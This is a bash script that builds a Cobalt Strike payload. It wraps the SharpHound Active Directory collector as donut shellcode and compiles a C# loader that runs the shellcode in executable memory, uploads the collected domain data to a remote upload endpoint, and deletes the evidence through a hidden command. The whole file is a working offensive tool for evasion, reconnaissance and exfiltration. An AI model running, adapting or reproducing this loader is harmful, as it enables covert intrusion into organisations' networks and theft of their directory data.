#!/bin/bash
rndname="$(curl -s https://gitlab.com/x4k/pub/-/raw/master/names.txt | shuf -n1)"
rm -r /opt/cobaltstrike/custom/sweet/output &> /dev/null ; mkdir /opt/cobaltstrike/custom/sweet/output
wget -qO /tmp/SharpHound.exe https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
donut -a2 -z2 -i/tmp/SharpHound.exe -p"--NoSaveCache --ZipFilename report --CollectionMethod All" -o /tmp/loader.bin
XBYTES="$(xxd -i /tmp/loader.bin | tail -n1 | cut -d'=' -f2 | head -c-2 | sed 's+ ++g')"
cat<<EOF>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
using System;
using System.IO;
using System.Linq;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[$XBYTES] {
EOF
xxd -i /tmp/loader.bin | tail -n+2 | head -n-1 >> /opt/cobaltstrike/custom/sweet/output/$rndname.cs
cat<<'EOF'>>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
for (int i = 1; i <= 5; i++) {
Console.WriteLine("Thread paused for {0} second", 5); Thread.Sleep(1000); Console.WriteLine("i value: {0}", i);
}
string tpath = @"C:\ProgramData\mydata" ; var directory = new DirectoryInfo(tpath); string endfile = @"C:\ProgramData\mydata\report.zip";
var myFile = (from f in directory.GetFiles("*.zip") orderby f.LastWriteTime descending select f).First();
string mile = "" + myFile; File.Move(mile, endfile);
System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream");
string ServerIp = @"http://zxlab.io:899/upload?token=f9403fc5f537b4ab332a";
if (File.Exists(endfile)) {
var result = Client.UploadFile(ServerIp, "POST", endfile); Console.WriteLine("Upload complete! Enjoy XD"); File.Delete(endfile);
} else {
Console.WriteLine("ERROR! CANNOT DETERMINE USERS DOMAIN OR CANNOT CONECT TO LDAP!"); return;
}
Process abominable = new Process(); abominable.StartInfo.FileName = "cmd.exe";
abominable.StartInfo.Arguments = @"/c timeout 10 && rd /q /s C:\ProgramData\mydata";
abominable.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; abominable.Start();
return;
}
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);
[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}
public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
EOF
sed -i "s+zxlab.io+$HOSTNAME+g" /opt/cobaltstrike/custom/sweet/output/$rndname.cs
mcs -platform:x64 -t:winexe /opt/cobaltstrike/custom/sweet/output/$rndname.cs -out:/opt/cobaltstrike/custom/sweet/output/$rndname.exe
cp /opt/cobaltstrike/custom/sweet/sweet.bak /opt/cobaltstrike/custom/sweet/sweet.cna ; sed -i "s+Bloodhound+$rndname+g" /opt/cobaltstrike/custom/sweet/sweet.cna